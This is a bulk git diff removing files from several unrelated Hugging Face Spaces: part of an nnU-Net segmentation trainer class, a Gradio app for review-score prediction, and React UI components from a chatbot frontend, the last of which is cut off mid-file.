-        self.loss = DC_and_CE_loss({'batch_dice': self.batch_dice, 'smooth': 1e-5, 'do_bg': False}, {})
-
-        self.online_eval_foreground_dc = []
-        self.online_eval_tp = []
-        self.online_eval_fp = []
-        self.online_eval_fn = []
-
-        self.classes = self.do_dummy_2D_aug = self.use_mask_for_norm = self.only_keep_largest_connected_component = \
-            self.min_region_size_per_class = self.min_size_per_class = None
-
-        self.inference_pad_border_mode = "constant"
-        self.inference_pad_kwargs = {'constant_values': 0}
-
-        self.update_fold(fold)
-        self.pad_all_sides = None
-
-        self.lr_scheduler_eps = 1e-3
-        self.lr_scheduler_patience = 30
-        self.initial_lr = 3e-4
-        self.weight_decay = 3e-5
-
-        self.oversample_foreground_percent = 0.33
-
-        self.conv_per_stage = None
-        self.regions_class_order = None
-
-    def update_fold(self, fold):
-        """
-        used to swap between folds for inference (ensemble of models from cross-validation)
-        DO NOT USE DURING TRAINING AS THIS WILL NOT UPDATE THE DATASET SPLIT AND THE DATA AUGMENTATION GENERATORS
-        :param fold:
-        :return:
-        """
-        if fold is not None:
-            if isinstance(fold, str):
-                assert fold == "all", "if self.fold is a string then it must be \'all\'"
-                if self.output_folder.endswith("%s" % str(self.fold)):
-                    self.output_folder = self.output_folder_base
-                self.output_folder = join(self.output_folder, "%s" % str(fold))
-            else:
-                if self.output_folder.endswith("fold_%s" % str(self.fold)):
-                    self.output_folder = self.output_folder_base
-                self.output_folder = join(self.output_folder, "fold_%s" % str(fold))
-            self.fold = fold
-
-    def setup_DA_params(self):
-        if self.threeD:
-            self.data_aug_params = default_3D_augmentation_params
-            if self.do_dummy_2D_aug:
-                self.data_aug_params["dummy_2D"] = True
-                self.print_to_log_file("Using dummy2d data augmentation")
-                self.data_aug_params["elastic_deform_alpha"] = \
-                    default_2D_augmentation_params["elastic_deform_alpha"]
-                self.data_aug_params["elastic_deform_sigma"] = \
-                    default_2D_augmentation_params["elastic_deform_sigma"]
-                self.data_aug_params["rotation_x"] = default_2D_augmentation_params["rotation_x"]
-        else:
-            self.do_dummy_2D_aug = False
-            if max(self.patch_size) / min(self.patch_size) > 1.5:
-                default_2D_augmentation_params['rotation_x'] = (-15. / 360 * 2. * np.pi, 15. / 360 * 2. * np.pi)
-            self.data_aug_params = default_2D_augmentation_params
-        self.data_aug_params["mask_was_used_for_normalization"] = self.use_mask_for_norm
-
-        if self.do_dummy_2D_aug:
-            self.basic_generator_patch_size = get_patch_size(self.patch_size[1:],
-                                                             self.data_aug_params['rotation_x'],
-                                                             self.data_aug_params['rotation_y'],
-                                                             self.data_aug_params['rotation_z'],
-                                                             self.data_aug_params['scale_range'])
-            self.basic_generator_patch_size = np.array([self.patch_size[0]] + list(self.basic_generator_patch_size))
-        else:
-            self.basic_generator_patch_size = get_patch_size(self.patch_size, self.data_aug_params['rotation_x'],
-                                                             self.data_aug_params['rotation_y'],
-                                                             self.data_aug_params['rotation_z'],
-                                                             self.data_aug_params['scale_range'])
-
-        self.data_aug_params['selected_seg_channels'] = [0]
-        self.data_aug_params['patch_size_for_spatialtransform'] = self.patch_size
-
-    def initialize(self, training=True, force_load_plans=False):
-        """
-        For prediction of test cases just set training=False, this will prevent loading of training data and
-        training batchgenerator initialization
-        :param training:
-        :return:
-        """
-
-        maybe_mkdir_p(self.output_folder)
-
-        if force_load_plans or (self.plans is None):
-            self.load_plans_file()
-
-        self.process_plans(self.plans)
-
-        self.setup_DA_params()
-
-        if training:
-            self.folder_with_preprocessed_data = join(self.dataset_directory, self.plans['data_identifier'] +
-                                                      "_stage%d" % self.stage)
-
-            self.dl_tr, self.dl_val = self.get_basic_generators()
-            if self.unpack_data:
-                self.print_to_log_file("unpacking dataset")
-                unpack_dataset(self.folder_with_preprocessed_data)
-                self.print_to_log_file("done")
-            else:
-                self.print_to_log_file(
-                    "INFO: Not unpacking data! Training may be slow due to that. Pray you are not using 2d or you "
-                    "will wait all winter for your model to finish!")
-            self.tr_gen, self.val_gen = get_default_augmentation(self.dl_tr, self.dl_val,
-                                                                 self.data_aug_params[
-                                                                     'patch_size_for_spatialtransform'],
-                                                                 self.data_aug_params)
-            self.print_to_log_file("TRAINING KEYS:\n %s" % (str(self.dataset_tr.keys())),
-                                   also_print_to_console=False)
-            self.print_to_log_file("VALIDATION KEYS:\n %s" % (str(self.dataset_val.keys())),
-                                   also_print_to_console=False)
-        else:
-            pass
-        self.initialize_network()
-        self.initialize_optimizer_and_scheduler()
-        # assert isinstance(self.network, (SegmentationNetwork, nn.DataParallel))
-        self.was_initialized = True
-
-    def initialize_network(self):
-        """
-        This is specific to the U-Net and must be adapted for other network architectures
-        :return:
-        """
-        # self.print_to_log_file(self.net_num_pool_op_kernel_sizes)
-        # self.print_to_log_file(self.net_conv_kernel_sizes)
-
-        net_numpool = len(self.net_num_pool_op_kernel_sizes)
-
-        if self.threeD:
-            conv_op = nn.Conv3d
-            dropout_op = nn.Dropout3d
-            norm_op = nn.InstanceNorm3d
-        else:
-            conv_op = nn.Conv2d
-            dropout_op = nn.Dropout2d
-            norm_op = nn.InstanceNorm2d
-
-        norm_op_kwargs = {'eps': 1e-5, 'affine': True}
-        dropout_op_kwargs = {'p': 0, 'inplace': True}
-        net_nonlin = nn.LeakyReLU
-        net_nonlin_kwargs = {'negative_slope': 1e-2, 'inplace': True}
-        self.network = Generic_UNet(self.num_input_channels, self.base_num_features, self.num_classes, net_numpool,
-                                    self.conv_per_stage, 2, conv_op, norm_op, norm_op_kwargs, dropout_op,
-                                    dropout_op_kwargs,
-                                    net_nonlin, net_nonlin_kwargs, False, False, lambda x: x, InitWeights_He(1e-2),
-                                    self.net_num_pool_op_kernel_sizes, self.net_conv_kernel_sizes, False, True, True)
-        self.network.inference_apply_nonlin = softmax_helper
-
-        if torch.cuda.is_available():
-            self.network.cuda()
-
-    def initialize_optimizer_and_scheduler(self):
-        assert self.network is not None, "self.initialize_network must be called first"
-        self.optimizer = torch.optim.Adam(self.network.parameters(), self.initial_lr, weight_decay=self.weight_decay,
-                                          amsgrad=True)
-        self.lr_scheduler = lr_scheduler.ReduceLROnPlateau(self.optimizer, mode='min', factor=0.2,
-                                                           patience=self.lr_scheduler_patience,
-                                                           verbose=True, threshold=self.lr_scheduler_eps,
-                                                           threshold_mode="abs")
-
-    def plot_network_architecture(self):
-        try:
-            from batchgenerators.utilities.file_and_folder_operations import join
-            import hiddenlayer as hl
-            if torch.cuda.is_available():
-                g = hl.build_graph(self.network, torch.rand((1, self.num_input_channels, *self.patch_size)).cuda(),
-                                   transforms=None)
-            else:
-                g = hl.build_graph(self.network, torch.rand((1, self.num_input_channels, *self.patch_size)),
-                                   transforms=None)
-            g.save(join(self.output_folder, "network_architecture.pdf"))
-            del g
-        except Exception as e:
-            self.print_to_log_file("Unable to plot network architecture:")
-            self.print_to_log_file(e)
-
-            self.print_to_log_file("\nprinting the network instead:\n")
-            self.print_to_log_file(self.network)
-            self.print_to_log_file("\n")
-        finally:
-            if torch.cuda.is_available():
-                torch.cuda.empty_cache()
-
-    def save_debug_information(self):
-        # saving some debug information
-        dct = OrderedDict()
-        for k in self.__dir__():
-            if not k.startswith("__"):
-                if not callable(getattr(self, k)):
-                    dct[k] = str(getattr(self, k))
-        del dct['plans']
-        del dct['intensity_properties']
-        del dct['dataset']
-        del dct['dataset_tr']
-        del dct['dataset_val']
-        save_json(dct, join(self.output_folder, "debug.json"))
-
-        import shutil
-
-        shutil.copy(self.plans_file, join(self.output_folder_base, "plans.pkl"))
-
-    def run_training(self):
-        self.save_debug_information()
-        super(nnUNetTrainer, self).run_training()
-
-    def load_plans_file(self):
-        """
-        This is what actually configures the entire experiment. The plans file is generated by experiment planning
-        :return:
-        """
-        self.plans = load_pickle(self.plans_file)
-
-    def process_plans(self, plans):
-        if self.stage is None:
-            assert len(list(plans['plans_per_stage'].keys())) == 1, \
-                "If self.stage is None then there can be only one stage in the plans file. That seems to not be the " \
-                "case. Please specify which stage of the cascade must be trained"
-            self.stage = list(plans['plans_per_stage'].keys())[0]
-        self.plans = plans
-
-        stage_plans = self.plans['plans_per_stage'][self.stage]
-        self.batch_size = stage_plans['batch_size']
-        self.net_pool_per_axis = stage_plans['num_pool_per_axis']
-        self.patch_size = np.array(stage_plans['patch_size']).astype(int)
-        self.do_dummy_2D_aug = stage_plans['do_dummy_2D_data_aug']
-
-        if 'pool_op_kernel_sizes' not in stage_plans.keys():
-            assert 'num_pool_per_axis' in stage_plans.keys()
-            self.print_to_log_file("WARNING! old plans file with missing pool_op_kernel_sizes. Attempting to fix it...")
-            self.net_num_pool_op_kernel_sizes = []
-            for i in range(max(self.net_pool_per_axis)):
-                curr = []
-                for j in self.net_pool_per_axis:
-                    if (max(self.net_pool_per_axis) - j) <= i:
-                        curr.append(2)
-                    else:
-                        curr.append(1)
-                self.net_num_pool_op_kernel_sizes.append(curr)
-        else:
-            self.net_num_pool_op_kernel_sizes = stage_plans['pool_op_kernel_sizes']
-
-        if 'conv_kernel_sizes' not in stage_plans.keys():
-            self.print_to_log_file("WARNING! old plans file with missing conv_kernel_sizes. Attempting to fix it...")
-            self.net_conv_kernel_sizes = [[3] * len(self.net_pool_per_axis)] * (max(self.net_pool_per_axis) + 1)
-        else:
-            self.net_conv_kernel_sizes = stage_plans['conv_kernel_sizes']
-
-        self.pad_all_sides = None  # self.patch_size
-        self.intensity_properties = plans['dataset_properties']['intensityproperties']
-        self.normalization_schemes = plans['normalization_schemes']
-        self.base_num_features = plans['base_num_features']
-        self.num_input_channels = plans['num_modalities']
-        self.num_classes = [num +1 for num in plans['num_classes']] # background is no longer in num_classes
-        self.classes = plans['all_classes']
-        self.use_mask_for_norm = plans['use_mask_for_norm']
-        self.only_keep_largest_connected_component = plans['keep_only_largest_region']
-        self.min_region_size_per_class = plans['min_region_size_per_class']
-        self.min_size_per_class = None  # DONT USE THIS. plans['min_size_per_class']
-
-        if plans.get('transpose_forward') is None or plans.get('transpose_backward') is None:
-            print("WARNING! You seem to have data that was preprocessed with a previous version of nnU-Net. "
-                  "You should rerun preprocessing. We will proceed and assume that both transpose_foward "
-                  "and transpose_backward are [0, 1, 2]. If that is not correct then weird things will happen!")
-            plans['transpose_forward'] = [0, 1, 2]
-            plans['transpose_backward'] = [0, 1, 2]
-        self.transpose_forward = plans['transpose_forward']
-        self.transpose_backward = plans['transpose_backward']
-
-        if len(self.patch_size) == 2:
-            self.threeD = False
-        elif len(self.patch_size) == 3:
-            self.threeD = True
-        else:
-            raise RuntimeError("invalid patch size in plans file: %s" % str(self.patch_size))
-
-        if "conv_per_stage" in plans.keys():  # this ha sbeen added to the plans only recently
-            self.conv_per_stage = plans['conv_per_stage']
-        else:
-            self.conv_per_stage = 2
-
-    def load_dataset(self):
-        self.dataset = load_dataset(self.folder_with_preprocessed_data)
-
-    def get_basic_generators(self):
-        self.load_dataset()
-        self.do_split()
-
-        if self.threeD:
-            dl_tr = DataLoader3D(self.dataset_tr, self.basic_generator_patch_size, self.patch_size, self.batch_size,
-                                 False, oversample_foreground_percent=self.oversample_foreground_percent,
-                                 pad_mode="constant", pad_sides=self.pad_all_sides, memmap_mode='r')
-            dl_val = DataLoader3D(self.dataset_val, self.patch_size, self.patch_size, self.batch_size, False,
-                                  oversample_foreground_percent=self.oversample_foreground_percent,
-                                  pad_mode="constant", pad_sides=self.pad_all_sides, memmap_mode='r')
-        else:
-            dl_tr = DataLoader2D(self.dataset_tr, self.basic_generator_patch_size, self.patch_size, self.batch_size,
-                                 oversample_foreground_percent=self.oversample_foreground_percent,
-                                 pad_mode="constant", pad_sides=self.pad_all_sides, memmap_mode='r')
-            dl_val = DataLoader2D(self.dataset_val, self.patch_size, self.patch_size, self.batch_size,
-                                  oversample_foreground_percent=self.oversample_foreground_percent,
-                                  pad_mode="constant", pad_sides=self.pad_all_sides, memmap_mode='r')
-        return dl_tr, dl_val
-
-    def preprocess_patient(self, input_files):
-        """
-        Used to predict new unseen data. Not used for the preprocessing of the training/test data
-        :param input_files:
-        :return:
-        """
-        from nnunet.training.model_restore import recursive_find_python_class
-        preprocessor_name = self.plans.get('preprocessor_name')
-        if preprocessor_name is None:
-            if self.threeD:
-                preprocessor_name = "GenericPreprocessor"
-            else:
-                preprocessor_name = "PreprocessorFor2D"
-
-        print("using preprocessor", preprocessor_name)
-        preprocessor_class = recursive_find_python_class([join(nnunet.__path__[0], "preprocessing")],
-                                                         preprocessor_name,
-                                                         current_module="nnunet.preprocessing")
-        assert preprocessor_class is not None, "Could not find preprocessor %s in nnunet.preprocessing" % \
-                                               preprocessor_name
-        preprocessor = preprocessor_class(self.normalization_schemes, self.use_mask_for_norm,
-                                          self.transpose_forward, self.intensity_properties)
-
-        d, s, properties = preprocessor.preprocess_test_case(input_files,
-                                                             self.plans['plans_per_stage'][self.stage][
-                                                                 'current_spacing'])
-        return d, s, properties
-
-    def preprocess_predict_nifti(self, input_files: List[str], output_file: str = None,
-                                 softmax_ouput_file: str = None, mixed_precision: bool = True) -> None:
-        """
-        Use this to predict new data
-        :param input_files:
-        :param output_file:
-        :param softmax_ouput_file:
-        :param mixed_precision:
-        :return:
-        """
-        print("preprocessing...")
-        d, s, properties = self.preprocess_patient(input_files)
-        print("predicting...")
-        pred = self.predict_preprocessed_data_return_seg_and_softmax(d, do_mirroring=self.data_aug_params["do_mirror"],
-                                                                     mirror_axes=self.data_aug_params['mirror_axes'],
-                                                                     use_sliding_window=True, step_size=0.5,
-                                                                     use_gaussian=True, pad_border_mode='constant',
-                                                                     pad_kwargs={'constant_values': 0},
-                                                                     verbose=True, all_in_gpu=False,
-                                                                     mixed_precision=mixed_precision)[1]
-        pred = pred.transpose([0] + [i + 1 for i in self.transpose_backward])
-
-        if 'segmentation_export_params' in self.plans.keys():
-            force_separate_z = self.plans['segmentation_export_params']['force_separate_z']
-            interpolation_order = self.plans['segmentation_export_params']['interpolation_order']
-            interpolation_order_z = self.plans['segmentation_export_params']['interpolation_order_z']
-        else:
-            force_separate_z = None
-            interpolation_order = 1
-            interpolation_order_z = 0
-
-        print("resampling to original spacing and nifti export...")
-        save_segmentation_nifti_from_softmax(pred, output_file, properties, interpolation_order,
-                                             self.regions_class_order, None, None, softmax_ouput_file,
-                                             None, force_separate_z=force_separate_z,
-                                             interpolation_order_z=interpolation_order_z)
-        print("done")
-
-    def predict_preprocessed_data_return_seg_and_softmax(self, data: np.ndarray, do_mirroring: bool = True,
-                                                         mirror_axes: Tuple[int] = None,
-                                                         use_sliding_window: bool = True, step_size: float = 0.5,
-                                                         use_gaussian: bool = True, pad_border_mode: str = 'constant',
-                                                         pad_kwargs: dict = None, all_in_gpu: bool = False,
-                                                         verbose: bool = True, mixed_precision: bool = True) -> Tuple[np.ndarray, np.ndarray]:
-        """
-        :param data:
-        :param do_mirroring:
-        :param mirror_axes:
-        :param use_sliding_window:
-        :param step_size:
-        :param use_gaussian:
-        :param pad_border_mode:
-        :param pad_kwargs:
-        :param all_in_gpu:
-        :param verbose:
-        :return:
-        """
-        if pad_border_mode == 'constant' and pad_kwargs is None:
-            pad_kwargs = {'constant_values': 0}
-
-        if do_mirroring and mirror_axes is None:
-            mirror_axes = self.data_aug_params['mirror_axes']
-
-        if do_mirroring:
-            assert self.data_aug_params["do_mirror"], "Cannot do mirroring as test time augmentation when training " \
-                                                      "was done without mirroring"
-
-        valid = list((SegmentationNetwork, nn.DataParallel))
-        assert isinstance(self.network, tuple(valid))
-
-        current_mode = self.network.training
-        self.network.eval()
-        ret = self.network.predict_3D(data, do_mirroring=do_mirroring, mirror_axes=mirror_axes,
-                                      use_sliding_window=use_sliding_window, step_size=step_size,
-                                      patch_size=self.patch_size, regions_class_order=self.regions_class_order,
-                                      use_gaussian=use_gaussian, pad_border_mode=pad_border_mode,
-                                      pad_kwargs=pad_kwargs, all_in_gpu=all_in_gpu, verbose=verbose,
-                                      mixed_precision=mixed_precision)
-        self.network.train(current_mode)
-        return ret
-
-    def validate(self, do_mirroring: bool = True, use_sliding_window: bool = True, step_size: float = 0.5,
-                 save_softmax: bool = True, use_gaussian: bool = True, overwrite: bool = True,
-                 validation_folder_name: str = 'validation_raw', debug: bool = False, all_in_gpu: bool = False,
-                 segmentation_export_kwargs: dict = None, run_postprocessing_on_folds: bool = True):
-        """
-        if debug=True then the temporary files generated for postprocessing determination will be kept
-        """
-
-        current_mode = self.network.training
-        self.network.eval()
-
-        assert self.was_initialized, "must initialize, ideally with checkpoint (or train first)"
-        if self.dataset_val is None:
-            self.load_dataset()
-            self.do_split()
-
-        if segmentation_export_kwargs is None:
-            if 'segmentation_export_params' in self.plans.keys():
-                force_separate_z = self.plans['segmentation_export_params']['force_separate_z']
-                interpolation_order = self.plans['segmentation_export_params']['interpolation_order']
-                interpolation_order_z = self.plans['segmentation_export_params']['interpolation_order_z']
-            else:
-                force_separate_z = None
-                interpolation_order = 1
-                interpolation_order_z = 0
-        else:
-            force_separate_z = segmentation_export_kwargs['force_separate_z']
-            interpolation_order = segmentation_export_kwargs['interpolation_order']
-            interpolation_order_z = segmentation_export_kwargs['interpolation_order_z']
-
-        # predictions as they come from the network go here
-        output_folder = join(self.output_folder, validation_folder_name)
-        maybe_mkdir_p(output_folder)
-        # this is for debug purposes
-        my_input_args = {'do_mirroring': do_mirroring,
-                         'use_sliding_window': use_sliding_window,
-                         'step_size': step_size,
-                         'save_softmax': save_softmax,
-                         'use_gaussian': use_gaussian,
-                         'overwrite': overwrite,
-                         'validation_folder_name': validation_folder_name,
-                         'debug': debug,
-                         'all_in_gpu': all_in_gpu,
-                         'segmentation_export_kwargs': segmentation_export_kwargs,
-                         }
-        save_json(my_input_args, join(output_folder, "validation_args.json"))
-
-        if do_mirroring:
-            if not self.data_aug_params['do_mirror']:
-                raise RuntimeError("We did not train with mirroring so you cannot do inference with mirroring enabled")
-            mirror_axes = self.data_aug_params['mirror_axes']
-        else:
-            mirror_axes = ()
-
-        pred_gt_tuples = []
-
-        export_pool = Pool(default_num_threads)
-        results = []
-
-        for q, k in enumerate(self.dataset_val.keys()):
-            print("{}/{}".format(q+1,len(self.dataset_val)))
-            properties = load_pickle(self.dataset[k]['properties_file'])
-            fname = properties['list_of_data_files'][0].split("/")[-1][:-12]
-            if overwrite or (not isfile(join(output_folder, fname + ".nii.gz"))) or \
-                    (save_softmax and not isfile(join(output_folder, fname + ".npz"))):
-                data = np.load(self.dataset[k]['data_file'])['data']
-
-                print(k, data.shape)
-                data[-1][data[-1] == -1] = 0
-
-                softmax_pred = self.predict_preprocessed_data_return_seg_and_softmax(data[:1],
-                                                                                     do_mirroring=do_mirroring,
-                                                                                     mirror_axes=mirror_axes,
-                                                                                     use_sliding_window=use_sliding_window,
-                                                                                     step_size=step_size,
-                                                                                     use_gaussian=use_gaussian,
-                                                                                     all_in_gpu=all_in_gpu,
-                                                                                     mixed_precision=self.fp16)[1]
-
-                softmax_pred = softmax_pred.transpose([0] + [i + 1 for i in self.transpose_backward])
-
-                if save_softmax:
-                    softmax_fname = join(output_folder, fname + ".npz")
-                else:
-                    softmax_fname = None
-
-                """There is a problem with python process communication that prevents us from communicating obejcts
-                larger than 2 GB between processes (basically when the length of the pickle string that will be sent is
-                communicated by the multiprocessing.Pipe object then the placeholder (\%i I think) does not allow for long
-                enough strings (lol). This could be fixed by changing i to l (for long) but that would require manually
-                patching system python code. We circumvent that problem here by saving softmax_pred to a npy file that will
-                then be read (and finally deleted) by the Process. save_segmentation_nifti_from_softmax can take either
-                filename or np.ndarray and will handle this automatically"""
-                if np.prod(softmax_pred.shape) > (2e9 / 4 * 0.85):  # *0.85 just to be save
-                    np.save(join(output_folder, fname + ".npy"), softmax_pred)
-                    softmax_pred = join(output_folder, fname + ".npy")
-
-                """
-                resu = save_segmentation_nifti_from_softmax(softmax_pred, join(output_folder, fname + ".nii.gz"),
-                  properties, interpolation_order, self.regions_class_order,
-                  None, None,
-                  softmax_fname, None, force_separate_z,
-                  interpolation_order_z)
-                results.append(resu)
-
-                # this eats RAM
-                """
-                results.append(export_pool.starmap_async(save_segmentation_nifti_from_softmax,
-                                                         ((softmax_pred, join(output_folder, fname + ".nii.gz"),
-                                                           properties, interpolation_order, self.regions_class_order,
-                                                           None, None,
-                                                           softmax_fname, None, force_separate_z,
-                                                           interpolation_order_z),
-                                                          )
-                                                         )     
-                               )
-
-
-
-            pred_gt_tuples.append([join(output_folder, fname + ".nii.gz"),
-                                   join(self.gt_niftis_folder, fname + ".nii.gz")])
-
-        _ = [i.get() for i in results]
-        self.print_to_log_file("finished prediction")
-
-        # evaluate raw predictions
-        self.print_to_log_file("evaluation of raw predictions")
-        task = self.dataset_directory.split("/")[-1]
-        job_name = self.experiment_name
-        _ = aggregate_scores(pred_gt_tuples, labels=[list(range(label)) for label in self.num_classes],
-                             json_output_file=join(output_folder, "summary.json"),
-                             json_name=job_name + " val tiled %s" % (str(use_sliding_window)),
-                             json_author="Fabian",
-                             json_task=task, num_threads=default_num_threads)
-
-        if run_postprocessing_on_folds:
-            # in the old nnunet we would stop here. Now we add a postprocessing. This postprocessing can remove everything
-            # except the largest connected component for each class. To see if this improves results, we do this for all
-            # classes and then rerun the evaluation. Those classes for which this resulted in an improved dice score will
-            # have this applied during inference as well
-            self.print_to_log_file("determining postprocessing")
-            determine_postprocessing(self.output_folder, self.gt_niftis_folder, validation_folder_name,
-                                     final_subf_name=validation_folder_name + "_postprocessed", debug=debug)
-            # after this the final predictions for the vlaidation set can be found in validation_folder_name_base + "_postprocessed"
-            # They are always in that folder, even if no postprocessing as applied!
-
-        # detemining postprocesing on a per-fold basis may be OK for this fold but what if another fold finds another
-        # postprocesing to be better? In this case we need to consolidate. At the time the consolidation is going to be
-        # done we won't know what self.gt_niftis_folder was, so now we copy all the niftis into a separate folder to
-        # be used later
-        gt_nifti_folder = join(self.output_folder_base, "gt_niftis")
-        maybe_mkdir_p(gt_nifti_folder)
-        for f in subfiles(self.gt_niftis_folder, suffix=".nii.gz"):
-            success = False
-            attempts = 0
-            e = None
-            while not success and attempts < 10:
-                try:
-                    shutil.copy(f, gt_nifti_folder)
-                    success = True
-                except OSError as e:
-                    attempts += 1
-                    sleep(1)
-            if not success:
-                print("Could not copy gt nifti file %s into folder %s" % (f, gt_nifti_folder))
-                if e is not None:
-                    raise e
-
-        self.network.train(current_mode)
-
-    def run_online_evaluation(self, output, target):
-        with torch.no_grad():
-            num_classes = output.shape[1]
-            output_softmax = softmax_helper(output)
-            output_seg = output_softmax.argmax(1)
-            target = target[:, 0]
-            axes = tuple(range(1, len(target.shape)))
-            tp_hard = torch.zeros((target.shape[0], num_classes - 1)).to(output_seg.device.index)
-            fp_hard = torch.zeros((target.shape[0], num_classes - 1)).to(output_seg.device.index)
-            fn_hard = torch.zeros((target.shape[0], num_classes - 1)).to(output_seg.device.index)
-            for c in range(1, num_classes):
-                tp_hard[:, c - 1] = sum_tensor((output_seg == c).float() * (target == c).float(), axes=axes)
-                fp_hard[:, c - 1] = sum_tensor((output_seg == c).float() * (target != c).float(), axes=axes)
-                fn_hard[:, c - 1] = sum_tensor((output_seg != c).float() * (target == c).float(), axes=axes)
-
-            tp_hard = tp_hard.sum(0, keepdim=False).detach().cpu().numpy()
-            fp_hard = fp_hard.sum(0, keepdim=False).detach().cpu().numpy()
-            fn_hard = fn_hard.sum(0, keepdim=False).detach().cpu().numpy()
-
-            self.online_eval_foreground_dc.append(list((2 * tp_hard) / (2 * tp_hard + fp_hard + fn_hard + 1e-8)))
-            self.online_eval_tp.append(list(tp_hard))
-            self.online_eval_fp.append(list(fp_hard))
-            self.online_eval_fn.append(list(fn_hard))
-
-    def finish_online_evaluation(self):
-        self.online_eval_tp = np.sum(self.online_eval_tp, 0)
-        self.online_eval_fp = np.sum(self.online_eval_fp, 0)
-        self.online_eval_fn = np.sum(self.online_eval_fn, 0)
-        # TODO fix RuntimeWarning: invalid value encountered in double_scalars
-        #   global_dc_per_class = [i for i in [2 * i / (2 * i + j + k) for i, j, k in
-        global_dc_per_class = [i for i in [2 * i / (2 * i + j + k) for i, j, k in
-                                           zip(self.online_eval_tp, self.online_eval_fp, self.online_eval_fn)]
-                               if not np.isnan(i)]
-        self.all_val_eval_metrics.append(np.mean(global_dc_per_class))
-
-        self.print_to_log_file("Average global foreground Dice:", [np.round(i, 4) for i in global_dc_per_class])
-        self.print_to_log_file("(interpret this as an estimate for the Dice of the different classes. This is not "
-                               "exact.)")
-
-        self.online_eval_foreground_dc = []
-        self.online_eval_tp = []
-        self.online_eval_fp = []
-        self.online_eval_fn = []
-
-    def save_checkpoint(self, fname, save_optimizer=True):
-        super(nnUNetTrainer, self).save_checkpoint(fname, save_optimizer)
-        info = OrderedDict()
-        info['init'] = self.init_args
-        info['name'] = self.__class__.__name__
-        info['class'] = str(self.__class__)
-        info['plans'] = self.plans
-
-        write_pickle(info, fname + ".pkl")
diff --git a/spaces/huggingface-course/amazon-reviews-demo/app.py b/spaces/huggingface-course/amazon-reviews-demo/app.py
deleted file mode 100644
index 17b444a249a54b733f786682a381d89e624065f9..0000000000000000000000000000000000000000
--- a/spaces/huggingface-course/amazon-reviews-demo/app.py
+++ /dev/null
@@ -1,28 +0,0 @@
-import gradio as gr
-from transformers import pipeline
-
-pipe = pipeline("text-classification", model="lewtun/xlm-roberta-base-finetuned-marc")
-
-label2emoji = {"terrible": "💩", "poor": "😾", "ok": "🐱", "good": "😺", "great": "😻"}
-
-def predict(text):
-    preds = pipe(text)[0]
-    return label2emoji[preds["label"]], round(preds["score"], 5)
-    
-gradio_ui = gr.Interface(
-    fn=predict,
-    title="Predicting review scores from customer reviews",
-    description="Enter some review text about an Amazon product and check what the model predicts for it's star rating.",
-    inputs=[
-        gr.inputs.Textbox(lines=5, label="Paste some text here"),
-    ],
-    outputs=[
-        gr.outputs.Textbox(label="Label"),
-        gr.outputs.Textbox(label="Score"),
-    ],
-    examples=[
-        ["I love these running shoes"], ["J'adore ces chaussures de course"], ["Ich liebe diese Laufschuhe"]
-    ],
-)
-
-gradio_ui.launch(debug=True)
\ No newline at end of file
diff --git a/spaces/iamstolas/STOLAS/src/components/external-link.tsx b/spaces/iamstolas/STOLAS/src/components/external-link.tsx
deleted file mode 100644
index 011265f364d5a64a770f4c7e9c65c5ade21d623a..0000000000000000000000000000000000000000
--- a/spaces/iamstolas/STOLAS/src/components/external-link.tsx
+++ /dev/null
@@ -1,30 +0,0 @@
-export function ExternalLink({
-  href,
-  children
-}: {
-  href: string
-  children: React.ReactNode
-}) {
-  return (
-    <a
-      href={href}
-      target="_blank"
-      rel="noreferrer"
-      className="inline-flex flex-1 justify-center gap-1 underline"
-    >
-      <span>{children}</span>
-      <svg
-        aria-hidden="true"
-        height="7"
-        viewBox="0 0 6 6"
-        width="7"
-        className="opacity-70"
-      >
-        <path
-          d="M1.25215 5.54731L0.622742 4.9179L3.78169 1.75597H1.3834L1.38936 0.890915H5.27615V4.78069H4.40513L4.41109 2.38538L1.25215 5.54731Z"
-          fill="currentColor"
-        ></path>
-      </svg>
-    </a>
-  )
-}
diff --git a/spaces/iamstolas/STOLAS/src/components/user-menu.tsx b/spaces/iamstolas/STOLAS/src/components/user-menu.tsx
deleted file mode 100644
index 9bd1edc9cf9f39b63629b021f0c1186b1a7c1341..0000000000000000000000000000000000000000
--- a/spaces/iamstolas/STOLAS/src/components/user-menu.tsx
+++ /dev/null
@@ -1,113 +0,0 @@
-'use client'
-
-import { useEffect, useState } from 'react'
-import Image from 'next/image'
-import { toast } from 'react-hot-toast'
-import { Button } from '@/components/ui/button'
-import pkg from '../../package.json'
-import {
-  DropdownMenu,
-  DropdownMenuContent,
-  DropdownMenuItem,
-  DropdownMenuSeparator,
-  DropdownMenuTrigger
-} from '@/components/ui/dropdown-menu'
-import { IconCopy, IconExternalLink, IconGitHub } from '@/components/ui/icons'
-import SettingIcon from '@/assets/images/settings.svg'
-import { useCopyToClipboard } from '@/lib/hooks/use-copy-to-clipboard'
-
-export function UserMenu() {
-  const [host, setHost] = useState('')
-  const { isCopied, copyToClipboard } = useCopyToClipboard({ timeout: 2000 })
-  useEffect(() => {
-    setHost(location.host)
-  }, [])
-
-  useEffect(() => {
-    if (isCopied) {
-      toast.success('复制成功')
-    }
-  }, [isCopied])
-  return (
-    <div className="flex items-center justify-between">
-      <DropdownMenu>
-        <DropdownMenuTrigger asChild>
-          <Button className="pl-0">
-            <div className="flex items-center justify-center text-xs font-medium uppercase rounded-full select-none h-7 w-7 shrink-0 bg-muted/50 text-muted-foreground">
-              <Image alt="settings" src={SettingIcon} width={20} />
-            </div>
-            <span className="ml-2">设置</span>
-          </Button>
-        </DropdownMenuTrigger>
-        <DropdownMenuContent sideOffset={8} align="start" className="w-[180px] bg-background">
-          <DropdownMenuItem
-            onClick={() =>
-              location.href='#dialog="settings"'
-            }
-            className="cursor-pointer"
-          >
-            设置用户
-          </DropdownMenuItem>
-          <DropdownMenuSeparator />
-          <DropdownMenuItem
-            onClick={() =>
-              location.href='#dialog="voice"'
-            }
-            className="cursor-pointer"
-          >
-            语音设置
-          </DropdownMenuItem>
-          <DropdownMenuSeparator />
-          <DropdownMenuItem asChild>
-            <a
-              href="https://github.com/weaigc/bingo/"
-              target="_blank"
-              rel="noopener noreferrer"
-              className="inline-flex items-center justify-between w-full gap-2 cursor-pointer"
-            >
-              开源地址
-              <IconGitHub />
-              <IconExternalLink className="w-3 h-3 ml-auto" />
-            </a>
-          </DropdownMenuItem>
-          <DropdownMenuSeparator />
-          <DropdownMenuItem asChild>
-            <a
-              href="https://huggingface.co/spaces/hf4all/bingo"
-              target="_blank"
-              rel="noopener noreferrer"
-              className="inline-flex items-center justify-between w-full gap-2 cursor-pointer"
-            >
-              托管地址
-              🤗
-              <IconExternalLink className="w-3 h-3 ml-auto" />
-            </a>
